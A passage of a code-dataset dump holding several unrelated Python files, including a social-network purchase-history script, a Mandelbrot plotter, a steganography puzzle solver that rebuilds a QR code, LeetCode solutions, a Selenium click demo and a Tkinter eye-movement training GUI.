= first['D'];\r\nT = first['T']; \r\ndel data[0];\r\n\r\ndf = pd.DataFrame(data);\r\n\r\npurchase = df[df['event_type'] == 'purchase'];\r\nbefriend = df[df['event_type'] == 'befriend'];\r\nunfriend = df[df['event_type'] == 'unfriend'];\r\n \r\nprint(\"Checkpoint 2\") \r\n\r\n\r\n# Befriending \r\n\r\nbefriend_ids = befriend.iloc[:,[3,4]]; # index out id1 and id2\r\n\r\nid1_list = list(befriend_ids.id1) # turn ids into list\r\nid2_list = list(befriend_ids.id2)\r\n \r\nid1 = int64(id1_list); # turn ids into integers\r\nid2 = int64(id2_list); \r\n\r\nf1 = {}; # make a dictionary of friends\r\nfor m, n in zip(id1, id2):\r\n f1.setdefault(m, []).append(n);\r\n f1.setdefault(n, []).append(m); \r\n\r\nprint(\"Checkpoint 3\")\r\n\r\nif D >= '2':\r\n f2 = {}; # make a dictionary of friends of friends\r\n for i in f1:\r\n for j in f1[i]:\r\n f2.setdefault(i, []).append(f1[i] + f1[j]) \r\n # created multiple possiblities\r\n print(\"Checkpoint 4\") \r\n \r\n for a in f2: \r\n f2[a].sort(key = len); # sorts the lists by length \r\n for b in f2[a]:\r\n b.remove(a) # remove duplicate ids\r\n b.sort() # sort the ids \r\n \r\n print(\"Checkpoint 5\") \r\n \r\n for c in f2:\r\n while len(f2[c]) > 1:\r\n del f2[c][0] # delete all the extra lists\r\n\r\n print(\"Checkpoint 6: Friends of Friends Network Created\") \r\nelse:\r\n print(\"Checkpoint 4: Friends Network Created\") \r\n\r\n\r\n# Unfriending\r\n\r\nunfriend_ids = unfriend.iloc[:,[3,4]]; # index out id1 and id2\r\n\r\nid1_list2 = list(unfriend_ids.id1); # turn ids into list\r\nid2_list2 = list(unfriend_ids.id2);\r\n \r\nid1_un = int64(id1_list2); # turn ids into integers\r\nid2_un = int64(id2_list2); \r\n\r\nfor key, value in zip(id1_un, id2_un): \r\n f1[key].remove(value)\r\n f1[value].remove(key)\r\n\r\nprint(\"Checkpoint 7: Unfriending Update Complete\") \r\n\r\nf2 = {}; # make a dictionary of friends of friends\r\nfor i in f1:\r\n for j in f1[i]:\r\n f2.setdefault(i, []).append(f1[i] + f1[j]) \r\n # created multiple possiblities \r\n \r\nfor a in f2: \r\n f2[a].sort(key = len); # sorts the lists by length \r\n for b in f2[a]:\r\n b.remove(a) # remove duplicate ids\r\n b.sort() # sort the ids \r\n \r\nfor c in f2:\r\n while len(f2[c]) > 1: \r\n del f2[c][0] # delete all the extra lists\r\n \r\nprint(\"Checkpoint 8: Friends of Friends Network with Unfriends Update\") \r\n \r\n# Purchase History \r\n\r\npurchase_ids = purchase.iloc[:,[0,2]]; # index out id and amount\r\n\r\nstring_ids = []\r\nstring_amounts = []\r\nfor number1, number2 in zip(purchase_ids.id, purchase_ids.amount):\r\n string_ids.append(str(number1)); # turn the ids into strings\r\n string_amounts.append(str(number2)); # turn the amounts into strings\r\n \r\nprint(\"Checkpoint 9\") \r\n \r\nnetwork = {} # this network dictionary will hold the user and his entire network\r\nfor user in f2:\r\n network.setdefault(user, []).append(str(user)+', '+str(f2[user])) \r\n\r\nprint(\"Checkpoint 10\") \r\n \r\nsave_path = 'C:/Users/Ruhul/Desktop/anomaly_detection-master/anomaly_detection-master/log_output'\r\nsocial_network = os.path.join(save_path, \"social_network.txt\") \r\n\r\nthe_file = open(social_network, \"w\")\r\nfor item in network:\r\n the_file.write(\"%s\\n\" % network[item]) # write list of users' networks to txt file \r\n \r\nthe_file.close()\r\n\r\nprint(\"Checkpoint 11: Output Written to social_network.txt\") \r\n\r\n\r\nspeed = 0\r\nhistory = {}\r\nfor f, g in zip(string_ids, string_amounts): \r\n for h in network:\r\n if f in str(network[h]):\r\n history.setdefault(h, []).append('(' + str(f) + ', ' + str(g) + ')')\r\n if len(history[h]) > 50:\r\n history[h] = history[h][:50]; # stop at 50 purchases\r\n break\r\n speed += 1; \r\n if(speed % 100 == 0):\r\n print(speed) # checking how fast the code is running \r\n\r\nprint(\"Checkpoint 12: Purchase History Updated\") \r\n \r\n\r\nsave_path = 'C:/Users/Ruhul/Desktop/anomaly_detection-master/anomaly_detection-master/log_output'\r\npurchase_history = os.path.join(save_path, \"purchase_history.txt\") \r\n\r\nthe_file = open(purchase_history, \"w\")\r\nfor entry in history:\r\n the_file.write(\"%s\\n\" % entry)\r\n the_file.write(\"%s\\n\" % history[entry]) # write list of users' networks to txt file \r\n \r\nthe_file.close()\r\n\r\nprint(\"Checkpoint 13: Output Written to purchase_history.txt\") \r\n\r\n\r\n ","sub_path":"anomaly_detection-master/log_input/making_batch.py","file_name":"making_batch.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"134617968","text":"import numpy as np\nimport matplotlib.pyplot as plt\ndef runAnswers():\n #Construct a grid\n x = np.linspace(-2, 1, 500)\n y = np.linspace(-1.5, 1.5, 500)\n c = x[:,np.newaxis] + 1j * y[np.newaxis,:]\n \n #Do the iteration\n N_max = 50\n some_threshold = 50\n z=c\n for v in range(N_max):\n z = z**2 + c\n \n #Form a 2-D boolean mask indicating which points are in the set\n mask = abs(z) < some_threshold\n \n #Save the Result to an image\n plt.imshow(mask.T, extent=[-2, 1, -1.5, 1.5])\n plt.gray()\n plt.savefig('mandelbrot.png')\n \n \nif __name__ == '__main__':\n runAnswers()","sub_path":"yl2612/answers/question4.py","file_name":"question4.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"291673096","text":"#!/usr/bin/env python\r\n#coding=utf-8\r\nimport Image\r\n\r\ndef CMI(s): #CMI解码\r\n ret = ''\r\n for i in range(0,len(s),2): \r\n if s[i]==s[i+1]:\r\n ret += '1'\r\n else:\r\n ret += '0'\r\n return ret\r\n\r\nmatt = []\r\nfor k in range(58):\r\n s = ''\r\n img = Image.open(\"image\"+str(k)+\".png\")\r\n row = Image.new(\"RGBA\",(289-70,1),(0,0,0)) \r\n for i in range(70,289):\r\n row.putpixel((i-70,0),img.getpixel((i,139))) #提取采样行像素\r\n #row.save(\"test.png\")\r\n for i in range(30):\r\n p = row.getpixel((int(i*(219/30.0))+3,0)) #采样像素点\r\n t = '1'\r\n if p[0]>48 and p[0]<56: #通过颜色判断二进制数值\r\n if p[1]>48 and p[1]<56:\r\n if p[2]>48 and p[2]<56:\r\n t = '0'\r\n s += t\r\n matt.append(s)\r\n#print matt\r\nmat = []\r\nfor i in range(0,len(matt),2): #合并两行\r\n mat.append(matt[i]+matt[i+1])\r\nqrcode = []\r\nfor i in mat: #CMI解码\r\n qrcode.append(CMI(i))\r\nqr = Image.new(\"RGBA\",(len(qrcode),len(qrcode[0])),(0,0,0))\r\nfor i in range(len(qrcode)): #绘制二维码\r\n for j in range(len(qrcode[0])):\r\n if qrcode[i][j] == '1':\r\n qr.putpixel((i,j),(0,0,0))\r\n else: \r\n qr.putpixel((i,j),(255,255,255))\r\nwhitebg = Image.new(\"RGBA\",(800,800),(255,255,255))\r\nqrbig = qr.resize((500,500))\r\nwhitebg.paste(qrbig,(100,100))\r\nwhitebg.save(\"qr.png\")","sub_path":"stego10/stego10解题例程.py","file_name":"stego10解题例程.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"148095089","text":"# !/usr/bin/env python\nfrom baselines.common import set_global_seeds, tf_util as U\nfrom baselines import bench\nimport os.path as osp\nimport gym, logging\nfrom baselines import logger\nimport sys\nimport tensorflow as tf\nfrom argparse import ArgumentParser\n\ndef enjoy(env_id, num_timesteps, seed):\n from baselines.ppo1 import mlp_policy, pposgd_simple\n sess = U.make_session(num_cpu=1)\n sess.__enter__()\n# logger.session().__enter__()\n set_global_seeds(seed)\n env = gym.make(env_id)\n def policy_fn(name, ob_space, ac_space):\n return mlp_policy.MlpPolicy(name=name, ob_space=ob_space, ac_space=ac_space,\n hid_size=64, num_hid_layers=2)\n# env = bench.Monitor(env, osp.join(logger.get_dir(), \"monitor.json\"))\n obs = env.reset()\n env.seed(seed)\n gym.logger.setLevel(logging.WARN)\n pi = policy_fn('pi', env.observation_space, env.action_space)\n tf.train.Saver().restore(sess, '/tmp/model')\n done = False\n while not done:\n action = pi.act(True, obs)[0]\n obs, reward, done, info = env.step(action)\n env.render()\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument('--env', type=str, default='CartPole-v1')\n enjoy(parser.parse_args().env, num_timesteps=1e6, seed=0)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"baselines/ppo1/enjoy_cartpole.py","file_name":"enjoy_cartpole.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493379582","text":"from collections import Counter, defaultdict, OrderedDict, deque\nfrom bisect import bisect_left, bisect_right\nfrom functools import reduce, lru_cache\nfrom typing import List\nimport itertools\nimport math\nimport heapq\nimport string\ntrue = True\nfalse = False\nMIN, MAX, MOD = -0x3f3f3f3f, 0x3f3f3f3f, 1000000007\n\n\n#\n# @lc app=leetcode id=1367 lang=python3\n#\n# [1367] Linked List in Binary Tree\n#\n# https://leetcode.com/problems/linked-list-in-binary-tree/description/\n#\n# algorithms\n# Medium (40.10%)\n# Total Accepted: 18.8K\n# Total Submissions: 45.9K\n# Testcase Example: '[4,2,8]\\n[1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]'\n#\n# Given a binary tree root and a linked list with head as the first node.\n#\n# Return True if all the elements in the linked list starting from the head\n# correspond to some downward path connected in the binary tree otherwise\n# return False.\n#\n# In this context downward path means a path that starts at some node and goes\n# downwards.\n#\n#\n# Example 1:\n#\n#\n#\n#\n# Input: head = [4,2,8], root =\n# [1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]\n# Output: true\n# Explanation: Nodes in blue form a subpath in the binary Tree.\n#\n#\n# Example 2:\n#\n#\n#\n#\n# Input: head = [1,4,2,6], root =\n# [1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]\n# Output: true\n#\n#\n# Example 3:\n#\n#\n# Input: head = [1,4,2,6,8], root =\n# [1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]\n# Output: false\n# Explanation: There is no path in the binary tree that contains all the\n# elements of the linked list from head.\n#\n#\n#\n# Constraints:\n#\n#\n# 1 <= node.val <= 100 for each node in the linked list and binary tree.\n# The given linked list will contain between 1 and 100 nodes.\n# The given binary tree will contain between 1 and 2500 nodes.\n#\n#\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def kmp(self, head, root):\n def get_lhp(head):\n values = []\n while head:\n values.append(head.val)\n head = head.next\n j = 0\n res = [0] * len(values)\n for i in range(1, len(values)):\n while j > 0 and values[i] != values[j]:\n j = res[j - 1]\n if values[i] == values[j]:\n j += 1\n res[i] = j\n return res, values\n\n lhp, values = get_lhp(head)\n\n def dfs(root, j):\n if j == len(lhp): return True\n if not root: return False\n while j > 0 and root.val != values[j]:\n j = lhp[j - 1]\n if root.val == values[j]:\n j += 1\n return dfs(root.left, j) or dfs(root.right, j)\n\n return dfs(root, 0)\n\n def isSubPath(self, head, root):\n return self.kmp(head, root)\n def dfs(h, r):\n if not h: return True\n if not r: return False\n return h.val == r.val and (dfs(h.next, r.left)\n or dfs(h.next, r.right))\n\n if not head: return True\n if not root: return False\n return dfs(head, root) or self.isSubPath(\n head, root.left) or self.isSubPath(head, root.right)\n\n\n# sol = Solution()\n\n# head, root = [4,2,8], [1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]\n# head, root = [1,4,2,6], [1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]\n# head, root = [1,4,2,6,8], [1,4,4,null,2,2,null,1,null,6,8,null,null,null,null,1,3]\n# print(sol.__init__(head, root))\n# print(sol.__init__(head, root))\n# print(sol.isSubPath(head, root))\n","sub_path":"python_solutions/1367.linked-list-in-binary-tree.py","file_name":"1367.linked-list-in-binary-tree.py","file_ext":"py","file_size_in_byte":3872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"254608256","text":"# 공간복잡도 O(1)로 풀기\r\ndef moveZerosToEnd(nums):\r\n currentPosition = 0\r\n\r\n for i in range(len(nums)):\r\n if nums[i] != 0:\r\n nums[currentPosition] = nums[i]\r\n nums[i] = 0\r\n currentPosition += 1\r\n return nums\r\n\r\n\r\ndef main():\r\n print(moveZerosToEnd([0, 8, 0, 37, 4, 5, 0, 50, 0, 34, 0, 0]))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"elice/lecture2/0이동시키기.py","file_name":"0이동시키기.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"651949112","text":"# ez lesz a második példa, kattint egy elemre\nfrom selenium import webdriver\n\ndriver = webdriver.Firefox(executable_path=r\"C:\\webdrivers\\geckodriver.exe\") # írd át a saját elérési utadra\n\ndriver.get(\"https://training360webdev.azurewebsites.net/\")\n\nkattintani_valo_objektum = driver.find_element_by_css_selector(\"button.btn:nth-child(2)\")\n#vagy\n#kattintani_valo_objektum = driver.find_element_by_xpath(\"/html/body/div/div/div/div[2]/button\")\n#itt igazából ha beírjátok hogy driver.find akkor beajnál egy csomó selector módot.\nkattintani_valo_objektum.click()","sub_path":"krisz/katt.py","file_name":"katt.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"427438152","text":"import Tkinter as tk\n#from mttkinter import *\n#import mttkinter as tk\nimport time as tme\nimport numpy as np\nfrom numpy.random import randint\nfrom globalconst import *\nimport globalvar as glb\n#from threading import Lock\nimport threading\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nimport os, shutil\nimport dataset\nimport learning\nimport classifier\nimport predict\nsize = 1000\nspeed = 40\nballsize = 30\nstartButton = None\nwait = False\nstartWait = tme.time()\nremoveBall = False\nstartSleep = tme.time()\nw = None\nroot = None\nsleeping = False\nstartMove = tme.time()\nendMode = tme.time()\nz = 3\n#clf = None\nprint(machinestate)\n\npredictionParams = None\n\n\nclass Ball(object):\n\tdef __init__(self, canvas, *args, **kwargs):\n\t\tglobal center, right, left, up, down, startSleep, startMove, endMove, sleeping, clf\n\t\tglobal predictionParams\n\t\tself.canvas = canvas\n\t\tself.id = canvas.create_oval(*args, **kwargs)\n\t\t#self.canvas.coords(self.id, [20, 260, 120, 360])\n\t\tself.vx = 0\n\t\tself.vy = 0\n\t\tcenter = False\n\t\tright = False\n\t\tleft = False\n\t\tup = False\n\t\tdown = False\n\t\tstartSleep = tme.time()\n\t\tsleeping = True\t\n\t\t\n\n\tdef move(self):\n\t\tglobal size, speed, center, right, left, up, down, startSleep, sleeping, startMove, endMove, clf\n\t\tglobal timestamp\n\t\tglobal z\n\t\tglobal removeBall, startRemoveBall, wait, startWait\n\t\tglobal guipredict, saveData\n\t\t#global predictionParams\n\t\tx1, y1, x2, y2 = self.canvas.bbox(self.id)\n\n\t\tif not center and ((right and (x1 <= (size/2) - ballsize)) \n\t\t\t\t\t\tor (down and (y1 <= (size/2) - ballsize)) \n\t\t\t\t\t\tor (left and (x2 >= (size/2) + ballsize)) \n\t\t\t\t\t\tor (up and (y2 >= (size/2) + ballsize))):\n\t\t\tself.vx = 0\n\t\t\tself.vy = 0\n\t\t\tcenter = True\n\t\t\t#endMove = tme.time()\n\t\t\t#print(\"Movementtime= \")\n\t\t\t#print(tme.time())\n\n\t\t\tcmd = 0\n\t\t\tif right:\n\t\t\t\tcmd = 6\n\t\t\t\t\n\t\t\telif left:\n\t\t\t\tcmd = 4\n\n\t\t\telif up:\n\t\t\t\tcmd = 8\n\n\t\t\telif down:\n\t\t\t\tcmd = 2\n\t\t\t#print(\"Return command= %d\"%cmd)\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveLongTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\t\tthreadShortSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadShortSave.setDaemon(True)\n\t\t\t\tthreadShortSave.start()\n\t\t\tright = False\n\t\t\tleft = False\n\t\t\tup = False\n\t\t\tdown = False\n\t\t\twait=True\n\t\t\tstartWait = tme.time()\n\n\t\tif wait and (tme.time()>startWait+2):\n\t\t\twait=False\n\t\t\tremoveBall = True\n\t\t\tstartRemoveBall = tme.time()\n\t\t\tself.canvas.delete(self.id)\n\t\t\t\n\t\t\tself.id = self.canvas.create_oval((size/2) - ballsize, (size/2) - ballsize, \n\t\t\t\t(size/2) + ballsize, (size/2) + ballsize, \n\t\t\t\toutline='')\n\t\t\t\t#outline='white', fill='white')\n\t\t\t\n\t\tif removeBall and (tme.time()>startRemoveBall+0.5):\n\t\t\tremoveBall = False\n\t\t\tself.canvas.delete(self.id)\n\t\t\tself.id = self.canvas.create_oval((size/2) - ballsize, (size/2) - ballsize, \n\t\t\t\t(size/2) + ballsize, (size/2) + ballsize, \n\t\t\t\toutline='white', fill='red')\n\t\t\tcmd = 0\n\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveLongTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\t\tthreadShortSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadShortSave.setDaemon(True)\n\t\t\t\tthreadShortSave.start()\n\n\n\t\t\tstartSleep = tme.time()\n\t\t\tsleeping = True\n\t\t\t#tme.sleep(4)\n\n\t\tif sleeping and (tme.time() > startSleep + 3):\n\t\t\tcmd = 5\n\t\t\tendMove = tme.time()\n\t\t\t#print(\"Movementtime= \")\n\t\t\t#print(tme.time())\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveLongTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\t\tthreadShortSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadShortSave.setDaemon(True)\n\t\t\t\tthreadShortSave.start()\n\t\t\t#z = randint(0,4)\n\t\t\tif z == 3:\n\t\t\t\tz = 0\n\t\t\telse:\n\t\t\t\tz = z + 1\n\n\t\t\tsleeping = False\n\t\t\t#print(z)\n\t\t\tstartMove = tme.time()\n\t\t\tif z == 0:\n\t\t\t\tself.vx = 0\n\t\t\t\tself.vy = -speed\n\t\t\t\t#print(\"Up\")\n\t\t\telif z == 1:\n\t\t\t\tself.vx = speed\n\t\t\t\tself.vy = 0\n\t\t\t\t#print(\"Right\")\n\t\t\telif z == 2:\n\t\t\t\tself.vx = 0\n\t\t\t\tself.vy = speed\n\t\t\t\t#print(\"Down\")\n\t\t\telse:\n\t\t\t\tself.vx = -speed\n\t\t\t\tself.vy = 0\n\t\t\t\t#print(\"Left\")\n\n\t\tif x2 > size: #Down\n\t\t\tself.vx = 0\n\t\t\tright = True\n\t\t\tcenter = False\n\t\t\tcmd = 3\n\t\t\t#print(\"Saving: %d\" %cmd)\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\ttme.sleep(1)\n\t\t\tself.vx = -speed\n\n\t\tif x1 < 0: #Up\n\t\t\tself.vx = 0\n\t\t\tleft = True\n\t\t\tcenter = False\n\t\t\tcmd = 7\n\t\t\t#print(\"Saving: %d\" %cmd)\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\ttme.sleep(1)\n\t\t\tself.vx = speed\n\n\t\tif y2 > size: #Right\n\t\t\tself.vy = 0\n\t\t\tdown = True\n\t\t\tcenter = False\n\t\t\tcmd = 9\n\t\t\t#print(\"Saving: %d\" %cmd)\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\ttme.sleep(1)\n\t\t\tself.vy = -speed\n\t\t\t\n\t\tif y1 < 0: #Left\n\t\t\tself.vy = 0\n\t\t\tup = True\n\t\t\tcenter = False\n\t\t\tcmd = 1\n\t\t\t#print(\"Saving: %d\" %cmd)\n\t\t\tif glb.guipredict:\t\n\t\t\t\tpredictionThread = threading.Thread(target=predict.predictGUI,args=(cmd),kwargs=(predictionParams))\n\t\t\t\tpredictionThread.start()\n\t\t\tif glb.saveData:\n\t\t\t\tthreadSave = threading.Thread(target=dataset.saveShortTemp, args=(cmd,))\n\t\t\t\tthreadSave.setDaemon(True)\n\t\t\t\tthreadSave.start()\n\t\t\ttme.sleep(1)\n\t\t\tself.vy = speed\n\n\t\tself.canvas.move(self.id, self.vx, self.vy)\n\n\nclass App(object):\n\t#def __init__(self, root):\n\n#class App(threading.Thread):\n\tdef __init__(self):\n\t\t#threading.Thread.__init__(self)\n\t\t#self.start()\n\t\t\n\t#def run(self):\n\t\tself.root = tk.Tk()\n\t#def setup(self):\n\t\t#root = tk.Tk()\n\t\t#self.root = root\n\t\tself.root.title(\"Training GUI\")\t\n\n\n\t\t\n\t\tself.w = tk.Label(self.root, text=\"Look at the red dot, blink when it dissapears. Press start when ready!\")\n\t\tself.w.pack()\n\t\tself.startButton = tk.Button(self.root, text='Start Training', width=25, command=self.startBall)\n\t\tself.startButton.pack()\n\t\tself.exitButton = tk.Button(self.root, text='Exit', width=25, command=self.close_window)\n\t\tself.exitButton.pack()\n\t\t\n\n\t\t#self.refresh()\n\n\t\tself.root.mainloop()\n\n\t#def refresh(self):\n\t\t#self.root.update()\n\t\t#self.root.after(1000,self.refresh)\n\n\tdef close_window(self):\n\t\tself.root.destroy()\n\t\n\tdef animation(self):\t\n\t\tself.ball.move()\n\t\tself.root.after(12, self.animation)\n\n\tdef startBall(self):\n\t\tprint(\"StartBall\")\n\t\t#if glb.guipredict:\t\t\n\t\tglobal predictionParams\n\t\tpredictionParams = predict.loadPredictor(machinestate)\n\t\t#self.w.pack_forget()\n\t\tself.startButton.pack_forget()\n\t\tself.canvas = tk.Canvas(root, width=size, height=size)\n\t\tself.canvas.pack(expand=True)\n\t\tself.ball = Ball(self.canvas, (size/2) - ballsize, (size/2) - ballsize, (size/2) + ballsize, (size/2) + ballsize, outline='white', fill='red')\n\t\tself.canvas.pack()\t\t\t\t\n\t\tself.root.after(0, self.animation)\n\ndef guiloop():\n\t#root = tk.Tk()\n\tmy_gui = App()\n\t#root.mainloop()\n\t#root = App()\n\t#root.setup()\n\t#root = tk.Tk()\n\t\t\n\t#App(root)\n\t\n\n'''\nclass Ball(object):\n\tdef __init__(self, master, **kwargs):\n\t\tself.master = master\n\t\tself.canvas = tk.Canvas(self.master, width=size, height=size)\n\t\tself.canvas.pack()\n\t\tself.aliens = Alien(self.canvas, (size/2) - ballsize, (size/2) - ballsize, (size/2) + ballsize, (size/2) + ballsize, outline='white', fill='red')\n\t\tself.canvas.pack()\n\t\tself.master.after(0, self.animation)\n\n\n\tdef animation(self):\n\t\t#for alien in self.aliens:\n\t\tself.aliens.move()\n\t\tself.master.after(12, self.animation)\n\n\tdef close_window(self):\n\t\tself.destroy()\n\ndef startgui():\n\tglobal startButton, w, root\n\tw.pack_forget()\n\tstartButton.pack_forget()\n\tBall(root)\n\ndef guiloop():\n\tglobal startButton, w, root\n\troot = tk.Tk()\n\troot.title(\"Training GUI\")\n\tw = tk.Label(root, text=\"Look at the red dot, press start when ready!\")\n\tw.pack()\n\tstartButton = tk.Button(root, text='Start', width=25, command=startgui)\n\tstartButton.pack()\n\texitButton = tk.Button(root, text='Exit', width=25, command=root.destroy)\n\texitButton.pack()\n\t#root = tk.Tk()\n\t#app = App(root)\n\troot.mainloop()\n'''\n\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":9029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"554486720","text":"#!/usr/bin/env python\n\nimport matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport matplotlib.cm as cm\nimport matplotlib.colors\nfrom mpl_toolkits.mplot3d import Axes3D\nimport pyparsing\nimport numpy as np\nimport sys\nfrom scipy.interpolate import griddata\n\n### FUNCTIONS FOR PLOTTING CERTAIN 3D Images ###\n\ndef shiftedColorMap(cmap, start=0, midpoint=0.5, stop=1.0, name='shiftedcmap'):\n '''\n Function to offset the \"center\" of a colormap. Useful for\n data with a negative min and positive max and you want the\n middle of the colormap's dynamic range to be at zero.\n\n Input\n -----\n cmap : The matplotlib colormap to be altered\n start : Offset from lowest point in the colormap's range.\n Defaults to 0.0 (no lower offset). Should be between\n 0.0 and `midpoint`.\n midpoint : The new center of the colormap. Defaults to \n 0.5 (no shift). Should be between 0.0 and 1.0. In\n general, this should be 1 - vmax / (vmax + abs(vmin))\n For example if your data range from -15.0 to +5.0 and\n you want the center of the colormap at 0.0, `midpoint`\n should be set to 1 - 5/(5 + 15)) or 0.75\n stop : Offset from highest point in the colormap's range.\n Defaults to 1.0 (no upper offset). Should be between\n `midpoint` and 1.0.\n '''\n cdict = {\n 'red': [],\n 'green': [],\n 'blue': [],\n 'alpha': []\n }\n\n # regular index to compute the colors\n reg_index = np.linspace(start, stop, 257)\n\n # shifted index to match the data\n shift_index = np.hstack([\n np.linspace(0.0, midpoint, 128, endpoint=False), \n np.linspace(midpoint, 1.0, 129, endpoint=True)\n ])\n\n for ri, si in zip(reg_index, shift_index):\n r, g, b, a = cmap(ri)\n\n cdict['red'].append((si, r, r))\n cdict['green'].append((si, g, g))\n cdict['blue'].append((si, b, b))\n cdict['alpha'].append((si, a, a))\n\n newcmap = matplotlib.colors.LinearSegmentedColormap(name, cdict)\n plt.register_cmap(cmap=newcmap)\n\n return newcmap\n\ninputfilename = sys.argv[1]\noutputfilename = sys.argv[2]\n\nwith open(inputfilename,'r') as infile:\n data = infile.readlines()\n\n# Put content of input file into various list to be altered later.\nx = []\ny = []\nz1 = []\nz2 = []\nz3 = []\nfor i in range(1,len(data)):\n if '#' not in data[i].strip():\n tmp = data[i].strip().split()\n if tmp[3] != '0.000':\n# if float(tmp[1]) >= 1.1 and float(tmp[2]) <= 150.0: \n# if float(tmp[1]) <= 160.0: \n x.append(float(tmp[1]))\n y.append(float(tmp[2]))\n z1.append(float(tmp[3]))\n z2.append(float(tmp[4]))\n z3.append(float(tmp[5]))\n\nz2rel = []\nfor i in range(len(z2)):\n z2rel.append((z2[i] - min(z2))*627.5095)\nz3rel = []\nfor i in range(len(z3)):\n z3rel.append((z3[i] - min(z3))*627.5095)\n\nxi = np.linspace(min(x),max(x))\nyi = np.linspace(min(y),max(y))\nxg, yg = np.meshgrid(xi,yi)\n\nxyarr = np.array( list( zip(x,y) ) ) \nz1arr = np.array( z1 )\nz2arr = np.array( z2rel )\nz3arr = np.array( z3rel )\n\n\nz1g = griddata(xyarr, z1arr, (xg,yg), method='cubic')\nz2g = griddata(xyarr, z2arr, (xg,yg), method='cubic')\nz3g = griddata(xyarr, z3arr, (xg,yg), method='cubic')\n\n# Adjust cmap for easy visulazion of seem\ncmap = cm.get_cmap('seismic')\nshifted_cmap = shiftedColorMap(cmap, midpoint=0.375, name='shifted')\n\n# Set number of contours\nncontours = 20\n\n# Set fonts\nfont = {'family' : 'normal',\n # 'weight' : 'bold',\n 'size' : 20}\n\nmatplotlib.rc('font', **font)\n\n# Create plot\nfig = plt.figure()\n\n#### Create subplot for difference potential ###\naf = fig.add_subplot(111)\n\n# Set titles and axes labels\n#af.set_title('Difference Potential for Triplet/Singlet')\naf.set_xlabel('N--O Distance (Ang.)')\naf.set_ylabel('N-N-O Angle (Deg.)')\n\n# Plot the contours for the difference potential\n#afcontour = af.contour(xg, yg, z1g, ncontours, cmap=shifted_cmap)\nafcontourf = af.contourf(xg, yg, z1g, ncontours, 